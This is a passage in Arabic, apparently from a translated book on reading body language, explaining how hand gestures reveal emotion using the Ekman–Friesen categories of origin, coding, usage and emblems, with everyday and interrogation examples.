‫ﻷﺳﺑﺎب ﻣﺗﻌددة ﻣﻧﮭﺎ اﻟﺛﻘﺎﻓﺎت‪ ،‬وﺑﻌض ﺗﻠك اﻟﻣﻌﺎﻧﻲ ﯾﻛون إﯾﺟﺎﺑﯾًﺎ ﻓﻲ ﺣﯾن أن اﻟﺑﻌض اﻵﺧر ﯾﻛون ﺳﻠﺑﯾًﺎ‪ ،‬ﻟذا ﯾﺟب اﻻﻧﺗﺑﺎه ﻟﺛﻘﺎﻓﺔ اﻟطرف اﻵﺧر‬
‫ﻟﻛﯾﻼ ﯾﻔﮭم اﻹﺷﺎرة ﺑطرﯾﻘﺔ ﺧﺎطﺋﺔ‪ .‬ﻋﻠﻰ ﻋﻛس ‪ ،microexpressions‬اﻟﺗﻲ ھﻲ ﻋﺎﻣﮫ ﻋﻠﻰ ﻣﺳﺗوى اﻟﻌﺎﻟم‪ ،‬ﺣﯾث اﻹﺷﺎرات )‪(Gesturing‬‬
‫ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﻣن اﻟﻣﻣﻛن ان ﺗﻛون ﻓﻲ اﻟواﻗﻊ ﻣﮭﯾﻧﮫ ﻓﻲ أﺟزاء أﺧرى ﻣن اﻟﻌﺎﻟم‪ ،‬أو ﻟﯾس ﻟﮭﺎ ﻣﻌﻧﻰ ﻋﻠﻰ اﻹطﻼق‪ .‬أﯾدﯾﻧﺎ ھﻲ اﻹﺑداﻋﺎت‬
‫اﻟراﺋﻌﺔ اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻧﺟز أﺷﯾﺎء ﻛﺛﯾرة‪ .‬ﻓﻛر ﻓﻲ اﻟﻌودة ﻋﻧدﻣﺎ ﻛﻧت ﺻﻐﯾرا وﺗﻘف ﺑﺟﺎﻧب واﻟدﯾك وھﻧﺎك ﺷﻲء ﯾﺧﯾﻔك‪ .‬ﺣﯾث ﺳوف ﺗﻘوم‬
‫ﺑﺎﻟوﺻول واﻣﺳﺎك أﯾدﯾﮭم ﻟﺗﻠﻘﻲ اﻟراﺣﺔ واﻟﺣﻣﺎﯾﺔ‪.‬‬
‫ﺣﺗﻰ ﻗﺑل ذﻟك اﻟوﻗت‪ ،‬ﻛﺎﻧت ﯾدﯾك وﺳﯾﻠﮫ واﻟﺗﻲ ﻣن ﺧﻼﻟﮭﺎ ﯾﻣﻛﻧك اﺳﺗﻛﺷﺎف اﻟﻌﺎﻟم ﻣن ﺣوﻟك‪ .‬ﻛﻠﻣﺎ اﺻﺑﺣت أﻛﺑر ﺳﻧﺎ‪ ،‬ﻛﻠﻣﺎ ﺗﻌﻠﻣت ﻛﯾﻔﯾﺔ‬
‫اﺳﺗﺧدام ﯾدﯾك ﻷداء اﻟﻣﮭﺎرات اﻷﺳﺎﺳﯾﺔ ﻣﺛل اﻟﺗﻐذﯾﺔ وﺗﻠﺑﯾس ﻧﻔﺳك‪ ،‬إﻟﻰ ﻣﮭﺎرات أﻛﺛر ﺗﻘدﻣﺎ ﻣﺛل اﻟرﺳم‪ ،‬واﻟﻧﺣت‪ ،‬واﻟطﺑﺦ‪ ،‬وأدوات اﻟﺗﻼﻋب‪.‬‬
‫اﻟﺟراح ﯾﻧﻔﻖ ﻣﺋﺎت اﻟﺳﺎﻋﺎت اﻟﺗدرﯾﺑﺔ ﻟﺗدرﯾب ﯾدﯾﮫ ﻟﻠرد ﻋﻠﻰ ﺣرﻛﺎت ﺻﻐﯾرة ﻹﻧﻘﺎذ اﻷرواح‪ .‬اﻟﻣوﺳﯾﻘﻲ ﯾﺗﻌﻠم ﻣوﺿﻊ إﺻﺑﻌﮫ‪ ،‬وﺿرﺑﺎت‬
‫اﻟﻣﻔﺎﺗﯾﺢ‪ ،‬وأﻛﺛر ﻣن ذﻟك‪ .‬ﻓﻲ ﻛﺗﺎب ﯾطﻠﻖ ﻋﻠﯾﮫ ‪ Hands‬ﻟﻌﺎم ‪ ،1980‬ﺟﻌل ﺟون ﻧﺎﺑﯾﯾر ﻧﻘطﺔ ﻣﺛﯾرة ﻟﻼھﺗﻣﺎم‪ .‬وﻗﺎل ان ﻧﺳﺗﻛﺷف اﻟﻌﺎﻟم ﻣن‬
‫ﺣوﻟﻧﺎ ﺑﺎﺳﺗﺧدام أﻋﯾﻧﻧﺎ وأﯾدﯾﻧﺎ‪ ،‬وﻟﻛن واﺣدة ﻓﻘط ﻣن ھذه ﺗﺳﻣﺢ ﻟﻧﺎ ﺑرؤﯾﺔ اﻟزواﯾﺎ ﺣوﻟﻧﺎ وﻓﻲ اﻟظﻼم‪ .‬ذﻛر أﯾﺿﺎ أن اﻟﺑﺷر ھم اﻟﻣﺧﻠوﻗﺎت اﻟوﺣﯾدة‬
‫اﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ ان ﺗواﺻل ﻣﻊ أﯾدﯾﮭم‪ .‬ﺑﻐض اﻟﻧظر ﻋن ﻛﯾف ﯾﻣﻛن أن ﺗﺻﺑﺢ ﻣﺎھر ﻓﻲ اﻟﻛﻼم‪ ،‬ﻓﺳوف ﻻ ﺗزال ﺗﺳﺗﺧدم ﯾدﯾك ﻟﺗﻌزﯾز ﺧطﺎﺑك‪.‬‬
‫ھذا ھو ﺗرﻛﯾزي ﻟﮭذا اﻟﺟزء‪ :‬ﻛﯾف ﻷﯾدﯾﻧﺎ ﺗﺗواﺻل ﻟﯾس ﻓﻘط ﺑﺎﻟﻠﻐﺔ وﻟﻛن أﯾﺿﺎ ﺗﻠك اﻟﻣﺷﺎﻋر اﻟﺗﻲ ﻧﺗﻔﺎﻋل ﻣﻌﮭﺎ‪ .‬ذھب ﻧﺎﺑﯾﯾر إﻟﻰ اﻟﻘول أن‬
‫اﻷﯾدي ﺗﻌﻛس اﻟدﻣﺎغ‪ ،‬ﻷن ﻣﺎ ﯾﺷﻌر ﺑﮫ اﻟدﻣﺎغ ﯾظﮭر ﻟﯾس ﻓﻘط ﻓﻲ واﺟﮭﺔ وﻟﻛن أﯾﺿﺎ ﻓﻲ اﻟﯾدﯾن‪.‬‬
‫ھﻧﺎك ﻋﻼﻗﺔ ﻣﺑﺎﺷرة ﺑﯾن اﻟﻌواطف اﻟﺗﻲ ﻧﺷﻌر ﺑﮭﺎ وﻛﯾف ﺗﺗﺣرك أﯾدﯾﻧﺎ‪ .‬ﻓﻲ ﻋﺎم ‪ 1973‬أﺟرى اﻟدﻛﺗور ﺑول أﯾﻛﻣن واﻟدﻛﺗور واﻻس ﻓرﯾزﯾن‬
‫ﺑﺣوث اﻟﺗﻲ ﻋززت ھذا اﻟﻔﻛر‪ .‬ﻓﻲ ورﻗﺔ أﻧﺗﺟوا ﻧﮭﺞ ﯾﺳﻣﻰ "ﺣرﻛﺎت اﻟﯾد"‪ ،‬ﺣﯾث وﺿﺣوا اﻟطرق اﻟﻣﺧﺗﻠﻔﺔ اﻟﺗﻲ ﺗظﮭر ﺑﮭﺎ اﻟﻌواطف ﻣﻊ اﻟﯾدﯾن‪.‬‬
‫ﻋن طرﯾﻖ أﺑﺣﺎﺛﮭم‪ ،‬ﺟﻧﺑﺎ إﻟﻰ ﺟﻧب ﻣﻊ اﻟﺑﺣوث اﻟﺗﻲ ﺟﺎءت ﻓﻲ أﻋﻘﺎﺑﮭﺎ‪ ،‬ﺳوف ﺗظﮭر ﻟك ﻛم ھو ﻣﮭم ﻓﮭم‪ ،‬وﻣﺷﺎھدة‪ ،‬وﻓك ھذه اﻹﺷﺎرات‬
‫اﻟﮭﺎﻣﺔ‪.‬‬
‫ﺗﻮاﺻﻞ ﻣﻊ ﯾﺪﯾﻚ‬
‫ھذا ﻻ ﯾﻧﺎﻗش ﻋﻼﻣﺎت اﻟﻠﻐﺎت‪ ،‬رﺑﻣﺎ ھذا أول ﻣﺎ ﯾﺧطر ﺑﺎﻟﺑﺎل ﻋﻧد اﻟﺗﻔﻛﯾر ﻓﻲ اﻟﺗواﺻل ﻣﻊ ﯾدﯾك‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮭﺎ راﺋﻌﺔ ﻗراءة اﻟدراﺳﺎت‬
‫اﻟﺗﻲ ﺗرﺑط ﺑﯾن اﻟﻣﺦ وھذا اﻟﺷﻛل ﻣن اﻻﺗﺻﺎل‪ ،‬وﺗرﻛﯾزي ھو أن ﻧﻔﮭم ﻛﯾف ﺗﺳرب اﻟﻧﺎس اﻟﻣﺣﺗوى اﻟﻌﺎطﻔﻲ ﺑﺎﺳﺗﺧدام أﯾدﯾﮭم‪.‬‬
‫اﻓﺗرض أﻧك ﺗﻣﺷﻲ ﻓﻲ ﻏرﻓﺔ اﻟﻣﻌﯾﺷﺔ اﻟﺧﺎﺻﺔ ﺑك وﺗرى ﻓﺗﺎت اﻟﻛﻌﻛﺔ ﻋﻠﻰ اﻷرض‪ .‬ﻛﻧت ﺗﻘول داﺋﻣﺎ ﻻﺑﻧك ﻻ ﺗﺄﻛل اﻟﻛﻌك ﻗﺑل اﻟﻌﺷﺎء‪ ،‬وﻟﻛن‬
‫ھﻧﺎك أدﻟﺔ ﻋﻠﻰ اﻷرض وﻋﻠﻰ وﺟﮭﮫ‪ .‬أن ﺗﻔﻌل اﻟﺷﻲء اﻟﻧﻣوذﺟﻲ وﺗﺳﺄل "ﻣن أﯾن ﺗﺄﺗﻰ ﻛل ھذه اﻟﻔﺗﺎت؟" إذا ﻗرر اﺑﻧك أن ﯾﻛذب‪ ،‬ﻓﺣﺎول‬
‫ﺗﺻوﯾر ﻣﺎ ﺗﻘوم ﺑﮫ ﯾدﯾﮫ‪ .‬أو رﺑﻣﺎ ﺗذﻛر اﻟوﻗت ﻋﻧدﻣﺎ ﻛﻧت ﺻﻐﯾرا وﺗم اﺳﺗدﻋﺎءك ﻓﻲ ﻣﻘدﻣﺔ اﻟﻔﺻل ﻓﻲ اﻟﻣدرﺳﺔ اﻟﺛﺎﻧوﯾﺔ ﻟﻘراءة ورﻗﺔ أو ﻗﺻﯾدة‬
‫ﻛﻧت ﻗد ﻛﺗﺑﺗﮭﺎ‪ .‬ﺣﯾث ﻋﻧدﻣﺎ ﻛﺎن ﯾﻧﺎدى ﻋﻠﯾك‪ ،‬ﺗﺻﺑﺢ ﻣﺗﺟﮭﺎ إﻟﻰ ﻣﻘدﻣﺔ اﻟﻔﺻل‪ .‬ﺣﯾث ﯾدﯾك اﻟﻣﮭﺗزة ﺗﻣﺳك ﺑﺎﻟورﻗﺔ‪ ،‬ﺣﯾث ﯾﺑدا زﻣﻼﺋك ﺑﺎﻟﻧظر‬
‫اﻟﯾك ﯾﺷﻌروا ﺑﺎﻟﺗﺳﻠﯾﺔ ﻣن اﻷﻟم اﻟذي ﺗﺷﻌر ﺑﮫ أو ﯾﺳﺗﻌدوا ﻟﯾﺳﺧروا ﻣﻧك ﺑﻌد اﻧﺗﮭﺎء اﻟﯾوم اﻟدراﺳﻲ‪ .‬ﻣﺎ ﻓﻌﻠت ﯾدﯾك؟‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪865‬‬

‫ﻓﻛر ﻓﻲ اﻟﻌودة إﻟﻰ اﻟوﻗت اﻟذي ﻛﻧت ﻓﯾﮫ ﺗﻘوم ﺑﻣﻘﺎﺑﻠﺔ ﻣن اﺟل وظﯾﻔﺔ ﻣﺎ‪ .‬ﺣﯾث ﻗﻣت ﺑﺿﺦ اﻟﺛﻘﺔ اﻟﻰ ﻧﻔﺳك ﻟﻛﻲ ﺗﻛون واﺛﻘﺎ‪ .‬ﺣﯾث ﻛﻧت ﺗﻌرف‬
‫إﻧك ﻛﻧت ﻣؤھل ﻟﮭذه اﻟوظﯾﻔﺔ‪ ،‬وﻛﻧت ﻓﻲ ﺣﺎﺟﺔ إﻟﯾﮭﺎ‪ .‬ذھﺑت ﺑﮭدوء وﻛﻧت ﺟﺎھزا ﻟﻛل ﺳؤال‪ .‬أﺟﺑت ﻋﻠﻰ ﻛل ﺳؤال ﺑﺛﻘﺔ‪ .‬ﺛم ﺳﺄﻟك اﻟﻣﺣﺎورة‪ :‬إذا‬
‫ﻛﺎن ﻟدﯾك ﺧﺑرة ﻓﻲ ﺷﻲء ﻛﻧت ﻟم ﺗﺳﻣﻊ ﺑﮫ‪ .‬ﻛﻧت ﻓﻲ ﺣﺎﺟﺔ ﻟﺗﻘرر ﻣﺎ إذا ﻛﺎﻧت ﺳوف ﺗﺷﻛل ﺟواﺑﺎ أو اﻻﻋﺗراف اﻧﮫ ﻟﯾس ﻟدﯾك أي ﻣﻌرﻓﺔ‬
‫ﺑﺎﻟﻣوﺿوع‪ .‬ﻣﺎ اﻟذي ﻛﺎﻧت ﺗﻔﻌﻠﮫ ﯾدﯾك؟‬
‫أﺧﯾرا‪ ،‬أﻋﺗﻘد أن اﻟﻌودة إﻟﻰ ﻣﻘﺎطﻊ اﻟﻔﯾدﯾو اﻟﺗﻲ ﺷﮭدت اﺳﺗﺟواﺑﺎت اﻟﺷرطﺔ‪ .‬ﺣﯾث ﯾﺟﻠس اﻟﻣﺷﺗﺑﮫ ﺑﮫ ھﻧﺎك ﻣﻊ ﻧظرة اﻟﺗﻛﺷﯾر‪/‬اﻟﺗﻌﺟرف ﻋﻠﻰ‬
‫وﺟﮭﮫ‪ .‬رﺑﻣﺎ ﯾطرق ﺑﯾدﯾﮫ اﻻﺳﺗﻔﺎدة ﻋﻠﻰ اﻟطﺎوﻟﺔ ﺣﯾث ﯾﻧﺗظر ﺑﻔﺎرغ اﻟﺻﺑر‪ .‬اﻟﺿﺎﺑط ﯾﺑدأ اﻟﻣﻘﺎﺑﻠﺔ ﺑﺳؤال ﻗﯾﺎدي‪" :‬ﻋﻧدﻣﺎ ﻛﻧت ﻓﻲ ﻣﻘﮭﻰ ‪Lazy‬‬
‫‪ Tree Bar‬أول ﯾوﻧﯾو‪ ،‬ھل رأﯾت رﯾﻛو ھﻧﺎك ﻣﻊ ﺻدﯾﻘﺗﮫ؟"‬
‫"ﻻ!" ﺣﯾث ﯾﺻﯾﺢ اﻟﻣﺷﺗﺑﮫ ﺑﮫ‪" .‬ﻟﻘد ﻗﻠت ﻟك ﺑﺎﻟﻔﻌل اﻧﺎ ﻟم أراه ھﻧﺎك ﻓﻲ ﺗﻠك اﻟﻠﯾﻠﺔ!" ﺣﯾث ﯾﺿرب ﺑﻘﺑﺿﺔ ﻣﻐﻠﻘﺔ ﻋﻠﻰ اﻟطﺎوﻟﺔ‪.‬‬
‫ﯾﻘول اﻟﻣﺣﻘﻖ ﻣﻊ ﻟف ﻛﺗﻔﯾﮫ واﻹﺷﺎرة اﻟﻰ اﻟﻣﺗﮭم ﺑﺄﺻﺑﺢ واﺣد "أوه‪ ،‬ﻣﻌﻧﻰ ھذا إﻧك ﻛﻧت ﻓﻲ ذﻟك اﻟﻣﻘﮭﻰ‪ ،‬ﺣﯾث ﻗﻠت ﻓﻲ وﻗت ﺳﺎﺑﻖ إﻧك ﻟم ﺗﻛن‬
‫ھﻧﺎك ﺗﻠك اﻟﻠﯾﻠﺔ"‪ .‬ﻋﻧدﻣﺎ ﯾﻘول اﻟﻣﺣﻘﻖ "أوه" ﻓﻛﯾف ﯾظﮭر وﺟﮭﮫ‪ ،‬وﻣﺎذا ﺗﻔﻌل ﯾدﯾﮫ؟‬
‫ﻓﻲ ﻛل ﻣن ھذه اﻟﺳﯾﻧﺎرﯾوھﺎت‪ ،‬ﺗم ﻋرض ﺷﻌﺎر‪ ،‬ﻟﻔﺗﺔ‪ ،‬ﺗﺻور‪ ،‬أو ﺗﻼﻋب‪ .‬ﻓﻲ اﻟﻣﺷﮭد اﻟﻧﮭﺎﺋﻲ ﻣن اﻻﺳﺗﺟواب‪ ،‬ﻛﻧت ﻗد ﺻورت اﻟﻣﺷﺗﺑﮫ ﺑﮫ‬
‫ﯾﻔرك ﺑﯾدﯾﮫ ﻣﻌﺎ ﻣﻊ ﺿﻐط‪ ،‬أو ﯾﻠﻌب ﺑﺎﻟﺧﺎﺗم أو ﻗطﻌﺔ ﻣن اﻟﻣﻼﺑس‪ .‬ﻣﺎ ھو اﻟﻔرق ﺑﯾن ھذه‪ ،‬وﻣﺎ اﻟﻌواطف اﻟذي ﯾﻛﺷﻔﮭﺎ؟‬
‫ﻓﻲ دراﺳﺔ أﯾﻛﻣن واﻻس اﻟﻣذﻛورة ﺳﺎﺑﻘﺎ‪ ،‬ﻧﺎﻗش اﻟﺑﺎﺣﺛون ﻛﯾف ﻧﻌرض اﻟﻌﺎطﻔﺔ ﺑواﺳطﺔ أﯾدﯾﻧﺎ ﺑﺎﺳﺗﺧدام اﻟﺷﻌﺎرات‪ ،‬واﻹﯾﻣﺎءات‪ ،‬واﻟرﺳﺎﻣﯾن‪،‬‬
‫واﻟﻣﺗﻼﻋﺑﯾن‪ .‬ﻛل ھذه ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻟﺗﺣدﯾد اﻟﺣﺎﻟﺔ اﻟﻌﺎطﻔﯾﺔ واﻟرﺳﺎﻟﺔ اﻟﺣﻘﯾﻘﯾﺔ اﻟﺗﻲ ﯾﺗم إرﺳﺎﻟﮭﺎ‪.‬‬
‫ﺗﻌﻠم ﺗﻣﯾﯾز‪ ،‬ﻓك‪ ،‬واﺳﺗﺧدام ھذا اﻟﺷﻛل ﻣن اﻻﺗﺻﺎل اﻟﻐﯾر اﻟﻠﻔظﻲ ﻻ ﺑد ﻣن ﻣﻧﺎﻗﺷﺗﮭﺎ ﻓﻲ ﺳﯾﺎق اﻻﺗﺻﺎﻻت اﻟﻌﺎدﯾﺔ وأﯾﺿﺎ ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﻓﻲ ھذه اﻟدراﺳﺔ‪ ،‬اﺳﺗﺧدم اﻟدﻛﺗور أﯾﻛﻣن ﻋﻣل اﻟدﻛﺗور دﯾﻔﯾد إﯾﻔرون‪ ،‬اﻟذي ﻗﺎم ﺑﮫ ﻋﺎم ‪ 1941‬واﻟﺗﻲ ﻻﺗزال ﺗدرس ﻋﻠﻰ ﻧطﺎق واﺳﻊ‪ ،‬ﺑﻌﻧوان‬
‫"‪ ،" Gestures and Environment‬ﻓﻲ اﻟﺗواﺻل اﻟﻐﯾر ﻟﻔظﻲ‪ .‬ﺣﯾث ﻗﺎﻣوا ﺑدراﺳﺔ ﻣﺟﻣوﻋﺗﯾن ﻣن اﻟﻧﺎس اﻟذﯾن ھﺎﺟروا إﻟﻰ ﻧﯾوﯾورك ﻣن‬
‫ﺑﻠدان ﻣﺧﺗﻠﻔﺔ‪ ،‬وﺟد أن ھﻧﺎك ﺗﺄﺛﯾر ﺛﻘﺎﻓﻲ واﺿﺢ ﻟﺷﻌﺎرات وﻟﻐﺔ اﻟﺟﺳد اﻟﺗﻲ اﺳﺗﻣدت ﻣن اﻟﺛﻘﺎﻓﺔ وﺗم ﺗﻧﺎﻗﻠﮭﺎ‪ .‬ﻋن طرﯾﻖ ﺑﺣث إﯾﻔرون‪ ،‬وﺿﻊ‬
‫أﯾﻛﻣن واﻻس ﻧظﺎم ﻟﻔﮭم ھذا اﻟﻧوع ﻣن ﻟﻐﺔ اﻟﺟﺳد‪ .‬ﻛﺳروا اﻟﻧظﺎم إﻟﻰ ﺛﻼﺛﺔ أﺟزاء‪ :‬اﻷﺻل )‪ ،(origin‬اﻟﺗرﻣﯾز )‪ ،(coding‬واﻻﺳﺗﺧدام )‪.(use‬‬
‫‪ -‬اﻷﺻل )‪(origin‬‬
‫ﻣﻧﺷﺄ اﻟﺳﻠوك اﻟﻐﯾر ﻟﻔظﻲ ھو ﻛﯾف أﺻﺑﺢ اﻟﺳﻠوك ﺟزءا ﻣن ﻧﻣط ﺗواﺻل ﺷﺧص ﻣﺎ‪ .‬أﯾﻛﻣن واﻻس ﻗﺳم اﻷﺻل )‪ (origin‬إﻟﻰ ﺛﻼث ﻓﺋﺎت‬
‫ﻣﺧﺗﻠﻔﺔ‪) :‬ﺗﻠك اﻟﺗﻲ ﺗم إﻧﺷﺎؤھﺎ ﻓﻲ اﻟﻧظﺎم اﻟﻌﺻﺑﻲ‪ ،‬ﻏرﯾزة اﻟﺑﻘﺎء )‪ ،(survival instincts‬وﺗﻠك اﻟﺗﻲ ﺗﺧﺗﻠف ﻣﻊ اﻟﺛﻘﺎﻓﺔ‪ ،‬واﻟطﺑﻘﺔ‪ ،‬واﻷﺳرة‪،‬‬
‫أو اﻟﻔرد(‪ .‬ﻓﮭم ﻣﻧﺷﺄ اﻟﺳﻠوك اﻟﻐﯾر ﻟﻔظﻲ ﯾﻌﻧﻲ أﻧﻧﺎ ﺳوف ﻧﺣﻛم أو ﻧﻌرض ﺷﻌﺎرات اﻟﯾد اﻟﻐﯾر ﻟﻔظﯾﮫ ﻟﯾس ﻗﺎﺋﻣﺎ ﻋﻠﻰ ﺗﺟﺎرﺑﻧﺎ اﻟﺧﺎﺻﺔ أو‬
‫اﻷﺻل‪ ،‬وﻟﻛن ﻋﻠﻰ أﺻل اﻟﺷﺧص‪.‬‬
‫‪ -‬اﻟﺗرﻣﯾز )‪(coding‬‬
‫اﻟﺗرﻣﯾز ھﻲ اﻟﻌﻼﻗﺔ ﺑﯾن اﻟﻔﻌل وﻣﻌﻧﺎھﺎ‪ .‬إذا ﻛﺎن اﻟﺷﻌﺎر ﯾﺷﺑﮫ اﻟﻔﻌل ﯾﻣﻛن ﺗﺣدﯾد ﻧوع اﻟﺗرﻣﯾز اﻟذي ﯾﻌﻧﯾﮫ‪.‬‬
‫ﯾوﺿﺢ اﻟدﻛﺗور أﯾﻛﻣن أن ھﻧﺎك ﺗرﻣﯾز ﻟﻠﺷﻌﺎر ﺑﺷﻛل ﺗﻌﺳﻔﻲ ﻻ ﯾوﺟد ﻟدﯾﮫ ﺗﺷﺎﺑﮫ ﺑﺻري ﻟﻣﻌﻧﺎه‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬واﺣدة ﻣن اﯾﻣﺎءات اﻟﯾد‬
‫اﻟﻣﺳﺗﺧدﻣﺔ ﺑﻛﺛره ﻋﻠﻰ ﻧطﺎق واﺳﻊ‪ ،‬واﻟﻣﻌروف ﺑﺎﺳم "‪ "flipping someone the bird‬ﺣﯾث اﻧﮫ ﻻ ﺟﺳدﯾﺎ أو ﻣن اﻟﻧﺎﺣﯾﺔ اﻟﻔﺳﯾوﻟوﺟﯾﺔ‬
‫ﯾﻣﺛل او ﯾﺷﺑﮫ اﻟطﯾور أو اﻟﻔﻌل اﻟذي ﻗﺎم ﺑﺎﻹﯾﻣﺎء ﺑﮫ‪ ،‬أﻟﯾس ﻛذﻟك؟‬

‫ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪ ،‬اﻟﺗرﻣﯾز ‪ iconically‬ﯾﺣﻣل دﻟﯾﻼ ﻣن ﻣظﮭره ﻋﻠﻰ ﻣﻌﻧﺎه‪ .‬ﺑﻌﺑﺎرة أﺧرى‪ ،‬ﺣﯾث ﯾﺑدو ﻣﺛل ﻣﺎ ﯾﺳﻣﻰ ﺑﮫ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪،‬‬
‫ﺻﻧﺎﻋﺔ ﺷﻛل اﻟﻣﺳدس ﻣﻊ اﻹﺑﮭﺎم واﻟﺳﺑﺎﺑﺔ‪ .‬اﻟﺷﻌﺎر ﯾﺷﺑﮫ اﻟﻣﺳدس وﯾﻔﮭم ﺑوﺿوح‪.‬‬
‫أﺧﯾرا‪ ،‬اﻟﺗرﻣﯾز ‪ intrinsically‬ﯾﺷﺑﮫ اﻟﺗرﻣﯾز ‪ .iconically‬ﺣﯾث ﯾﺑدو ﻣظﮭره ﻣﺛل اﻟﻔﻌل اﻟذي ﺗﻼﺣظﮫ ﻋﻠﯾﮫ‪ ،‬وﻟﻛن ﺑدﻻ ﻣن أﻧﮫ ﻣﺟرد‬
‫ﺗﺷﺎﺑﮫ‪ ،‬ﻓﺎﻧﮫ ﻣﻌﻧﺎه ﺧﺎرج اﻟﺗرﻣﯾز أي ﯾﻘﺻد طرﯾﻘﺔ اﻟﻔﻌل‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻋﻧد ﻗول ﻧﻛﺗﺔ‪ ،‬ﻓﻧﻘوم ﺑﺟﻌل ﻗﺑﺿﺔ ﺧﻔﯾﻔﺔ وﺿرب ﻛل ﻣﻧﮭﻣﺎ‬
‫اﻵﺧر‪ .‬اﻟﺷﻌﺎر ﻓﻲ ﺟوھره ﻟﯾﺳت ﻣﺟرد اﻟﻘﺑﺿﺔ وﻟﻛن ﻓﻌل اﻟﻔﻌل ﺿرب ﺷﺧص آﺧر ﻣن ﺑﺎب اﻟدﻋﺎﺑﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪866‬‬

‫‪ -‬اﻻﺳﺗﺧدام )‪(usage‬‬
‫اﻻﺳﺗﺧدام ھو ﺗﻣﺎﻣﺎ ﻣﺛل اﻟﺻوت اﻟﻘﺎﺋل‪ :‬ﻣﺗﻰ ﺗﺳﺗﺧدم ﺣرﻛﺔ اﻟﯾد اﻟﻐﯾر ﻟﻔظﻲ؟ اﻟظروف اﻟﺧﺎرﺟﯾﺔ اﻟﺗﻲ وﺟدت ﻋﻧدﻣﺎ ﯾﺳﺗﺧدم اﻟﻔﻌل‪ ،‬اﻟﺳﻠوك‬
‫اﻟﻠﻔظﻲ اﻟداﻋم‪ ،‬ﻣﺎ ھﻲ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﻧﻘﻠت‪ ،‬وﺳواء ﻛﺎن ﺗﻔﺎﻋﻠﻲ أو ﺗواﺻﻠﻲ ﻛﻠﮭﺎ ﺗﻠﻌب دورا ﻓﻲ ﺗﺣدﯾد اﻻﺳﺗﺧدام‪.‬‬
‫اﻟﺟﻣﻊ ﺑﯾن اﻷﺻل )‪ (origin‬واﻟﺗرﻣﯾز )‪ ،(coding‬واﺳﺗﺧدام ﻣﺳﺎﻋدﺗﻲ أﯾﻛﻣن واﻻس ﺧﻠﻖ ﺟواﻧب ﻣﺧﺗﻠﻔﺔ ﻣن اﻟﺗواﺻل اﻟﻐﯾر ﻟﻔظﻲ ﻣﻊ‬
‫اﻟﯾدﯾن‪ .‬ﻓﮭﻣﺎ ﯾﻣﻛن أن ﯾﺳﺎﻋدﻧﺎ ﻋﻠﻰ رؤﯾﺔ ﻣﺎ ﯾﺣﺎول ان ﯾﻘوﻟﮫ اﻟﺷﺧص أو ﻣﺎ اﻟﻌﺎطﻔﺔ اﻟﺗﻲ ﯾﯾﺗم ﺗﺻوﯾرھﺎ‪.‬‬
‫ﺗﻧﺎﻗش اﻟﻣﻘﺎطﻊ اﻟﺗﺎﻟﯾﺔ ﺛﻼﺛﺔ ﺟواﻧب ﻟﮭذا اﻟﺗواﺻل اﻟﻐﯾر ﻟﻔظﻲ ﻓﻲ اﻟﯾدﯾن‪ :‬اﻟﺷﻌﺎرات )‪ (emblems‬واﻹﯾﻣﺎءات‪/‬اﻟﺗﺻور‬
‫)‪ ،(gestures/illustrators‬واﻟﻣﺗﻼﻋﺑﯾن )‪.(manipulators‬‬
‫• اﻟﺸﻌﺎرات )‪(emblems‬‬
‫اﻟدﻛﺗور أﯾﻛﻣن ﻗﺎم ﺑﺗﻌرف ﻋﻠﻰ اﻟﺸﻌﺎرات )‪ (emblems‬ﺑﺎﻧﮭﺎ وﺳﯾﻠﺔ اﻻﺗﺻﺎل اﻟﻐﯾر ﺷﻔﮭﻲ‪/‬ﻟﻔظﻲ ﻣن اﻷﯾدي واﻟﺗﻲ ﻟدﯾﮭﺎ ﺧﻣﺳﺔ ﺟواﻧب‪:‬‬
‫‪ -‬اﻟﺗرﺟﻣﺔ اﻟﺷﻔﮭﯾﺔ‪/‬اﻟﻔظﯾﮫ اﻟﻣﺑﺎﺷرة واﻟﺗﻲ ﺗﺗﺄﻟف ﻣن ﻋﺑﺎرة ﻗﺻﯾرة أو ﻛﻠﻣﺔ أو ﻛﻠﻣﺗﯾن‪.‬‬
‫‪ -‬اﻟﻣﻌﻧﻰ اﻟدﻗﯾﻖ اﻟذي ﯾﻌرف ﻣن ﻗﺑل ﻣﺟﻣوﻋﺔ‪ ،‬طﺑﻘﺔ‪ ،‬أو ﺛﻘﺎﻓﺔ ﻓرﻋﯾﺔ‪.‬‬
‫‪ -‬ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺳﺗﺧدم ﻋﻣدا ﺑﻘﺻد واﻋﻰ ﻹرﺳﺎل رﺳﺎﻟﺔ ﻣﻌﯾﻧﺔ ﻟﺷﺧص آﺧر‪.‬‬
‫‪ -‬اﻟﻣﺗﻠﻘﻲ ﯾﻌرف أن اﻟﺷﻌﺎر ﺗم إرﺳﺎﻟﮫ ﻟﮫ ﻋﻣدا‪.‬‬
‫‪ -‬اﻟﻣرﺳل ﯾﺗﺣﻣل ﻣﺳؤوﻟﯾﺔ ﻗﯾﺎﻣﮫ ﺑﮭذا اﻟﻧوع ﻣن اﻻﺗﺻﺎل‪.‬‬
